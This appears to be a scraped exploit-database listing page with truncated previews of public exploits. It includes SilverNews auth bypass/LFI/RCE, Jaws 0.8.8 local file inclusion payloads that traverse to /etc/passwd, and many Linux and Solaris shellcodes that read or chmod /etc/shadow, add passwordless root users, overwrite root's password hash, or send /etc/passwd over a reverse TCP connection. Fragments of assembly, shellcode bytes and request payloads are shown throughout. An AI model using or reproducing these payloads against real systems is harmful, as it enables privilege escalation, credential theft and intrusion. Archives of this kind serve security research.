SilverNews 2.04 (Auth Bypass/LFI/RCE) Multiple Vulnerabilities

No description provided by source. 0x01 Informations: Name : SilverNews 2.04 Download : http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en Vulnerability : Auth Bypass\LFI\RCE Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is...

SilverNews 2.04 (Auth Bypass/LFI/RCE) Multiple Vulnerabilities

Exploit for unknown platform in category web applications ============================================================== SilverNews 2.04 Auth Bypass/LFI/RCE Multiple Vulnerabilities ============================================================== 0x01 Informations: Name : SilverNews 2.04 Download :...

Jaws 0.8.8 - Multiple Local File Inclusions

Jaws 0.8.8 Local File Inclusion POST /upgrade/index.php language=../../../../../../../../../../../../etc/passwd%00 POST /install/index.php language=../../../../../../../../../../../../etc/passwd%00 Also vulnerable: Introductioncomplete uselog Author notified: Jan 24 milw0rm.com 2009-02-04...

Solaris/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (61 bytes)

Solaris/x86 - setuid0 + /bin/cat /etc/shadow Shellcode 61 bytes. Shellcode exploit for Solarisx86 platform. Tags: Metasploit Framework MSF Name = John Babio Twitter = 3vi1john SunOS opensolaris 10 5.11 i86pc i386 i86pc setuid0 /bin/cat //etc/shadow char code=...

Linux/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

Linux/x86 - Write to /etc/passwd with uid0 + gid0 Shellcode 74 bytes. Shellcode exploit for Linuxx86 platform / This shellcode writes to /etc/passwd the string for the user with uid&gid == 0; written by dev0id [email protected] rootteam.void.ru rus-sec /Efnet.org greetz: nerf w00w00 BITS 32 jmp shor...

Linux/x86 - Reverse TCP (127.1.1.1:12345/TCP) cat /etc/passwd Shellcode (111 bytes)

Linux/x86 - Reverse TCP 127.1.1.1:12345/TCP cat /etc/passwd Shellcode 111 bytes. Shellcode exploit for Linuxx86 platform / ; Author: Daniel Sauder ; Website: http://govolution.wordpress.com/about ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Shellcode reads /etc/passwd and sends the...

Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)

Linux/x86-64 - Read /etc/passwd Shellcode 82 bytes. Shellcode exploit for Linuxx86-64 platform BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x8664 Shellcode ; Shellcode size 82 bytes global start section .text start: jmp pushfilename readfile: ; syscall open file pop rdi ;...

Linux/x86 - Add Root User (w00w00) To /etc/passwd Shellcode (104 bytes)

Linux/x86 - Add Root User w00w00 To /etc/passwd Shellcode 104 bytes. Shellcode exploit for Linuxx86 platform / jmp callw00w00 w00w00: popl %edi jmp w0w0w callw00w00: call w00w00 w0w0w: OPEN ecx=flag ORDONLY, OWRONLY, ... OWRONLY | OAPPEND | OCREAT = 0x441 edx=file mode ebx=address of filename...

Linux/x86 - pwrite(/etc/shadow, (md5 hash of agix), 32, 8) Shellcode (89 bytes)

Linux/x86 - pwrite/etc/shadow, md5 hash of agix, 32, 8 Shellcode 89 bytes. Shellcode exploit for Linuxx86 platform / | Title: Linux/x86 pwrite"/etc/shadow", hash, 32, 8 Shellcode 89 Bytes | Description: replace root's password with hash of "agix" in MD5 | Type: Shellcode | Author: agix | Platform...

Linux/x86 - execve(/bin/cat, /etc/shadow, NULL) Shellcode (42 bytes)

Linux/x86 - execve/bin/cat, /etc/shadow, NULL Shellcode 42 bytes. Shellcode exploit for Linuxx86 platform / Title: linux/x86 execve/bin/cat, /etc/shadow, NULL - 42 bytes Type: Shellcode Author: antrhacks Platform: Linux X86 / / ASSembly 31 c0 xor %eax,%eax 50 push %eax 68 2f 63 61 74 push...

Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode (97 bytes)

Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode 97 bytes. Shellcode exploit for Linuxx86 platform ;Description: Copy /etc/passwd to /tmp/outfile 97 bytes ;Shellcode:...

Linux/x86 - chmod(/etc/shadow, 0666) + ASCII Shellcode (443 bytes)

Linux/x86 - chmod/etc/shadow, 0666 + ASCII Shellcode 443 bytes. Shellcode exploit for Linuxx86 platform / | Title: Linux/x86 chmod/etc/shadow, 0666 ASCII Shellcode 443 Bytes | Type: Shellcode | Author: agix | Platform: Linux X86 / include char shellcode = "LLLLhHEY!X5HEY!"...

Linux/x86 - Add Root User To /etc/passwd + No Password + exit() Shellcode (83 bytes)

Linux/x86 - Add Root User To /etc/passwd + No Password + exit Shellcode 83 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode, to open write close and / / exit, adds a root user no-passwd to /etc/passwd / / By bob from dtors.net / include char shellcode=...

Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd To /etc/{passwd,shadow} Shellcode (273 bytes)

Linux/x86-64 - Add User pwned/$pass$ Using echo cmd To /etc/passwd,shadow Shellcode 273 bytes. Shellcode exploit for Linuxx86-64 platform ; shellcode name adduserpassword ; Author : Christophe G SLAE64-1337 ; Len : 273 bytes ; Language : Nasm ; "name = pwned ; pass = $pass$" ; add user and passwo...

Linux/x86 - setuid(0) + chmod(/etc/shadow, 0666) Shellcode (37 bytes)

Linux/x86 - setuid0 + chmod/etc/shadow, 0666 Shellcode 37 bytes. Shellcode exploit for Linuxx86 platform / Title: linux/x86 setuid0 + chmod"/etc/shadow", 0666 Shellcode 37 Bytes Type: Shellcode Author: antrhacks Platform: Linux X86 / / ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int...

solaris/x86 setuid0, execve/bin/cat, /etc/shadow, exit0 59 bytes

solaris/x86 setuid0, execve/bin/cat, /etc/shadow, exit0 59 bytes. Shellcode exploit for solarisx86 platform / ; sm4x 2008 ; /bin/cat /etc/shadow ; 59 bytes ; SunOS sol01 5.11 snv86 i86pc i386 i86pc Solaris ; port to SunOS to pwn a b0x - thank god for that default unix CRYPTDEFAULT!!!! ; this is...

solaris/x86 setuid(0), execve(/bin/cat, /etc/shadow), exit(0) 59 bytes

Exploit for solaris/x86 platform in category shellcode ====================================================================== solaris/x86 setuid0, execve/bin/cat, /etc/shadow, exit0 59 bytes ====================================================================== / ; sm4x 2008 ; /bin/cat /etc/shado...

solaris/x86 setuid(0) execve(/bin/cat /etc/shadow) exit(0) 59 bytes

No description provided by source. / ; sm4x 2008 ; /bin/cat /etc/shadow ; 59 bytes ; SunOS sol01 5.11 snv86 i86pc i386 i86pc Solaris ; port to SunOS to pwn a b0x - thank god for that default unix CRYPTDEFAULT!!!! ; this is what happens when ur work takes away root pirv on a SunOS box :-/ global...

puglia-lfi.txt

/ --------------------------------------------------- PugliaLandscape Local File Inclusion Vulnerability --------------------------------------------------- Discovered By StAkeRathotmaildotit http://www.niclor.net/prodotti/PugliaLandscape --------------------------------------------------- Local...

nicLOR Puglia Landscape (id) Local File Inclusion Vulnerability

No description provided by source. / --------------------------------------------------- PugliaLandscape Local File Inclusion Vulnerability --------------------------------------------------- Discovered By StAkeRathotmaildotit http://www.niclor.net/prodotti/PugliaLandscape...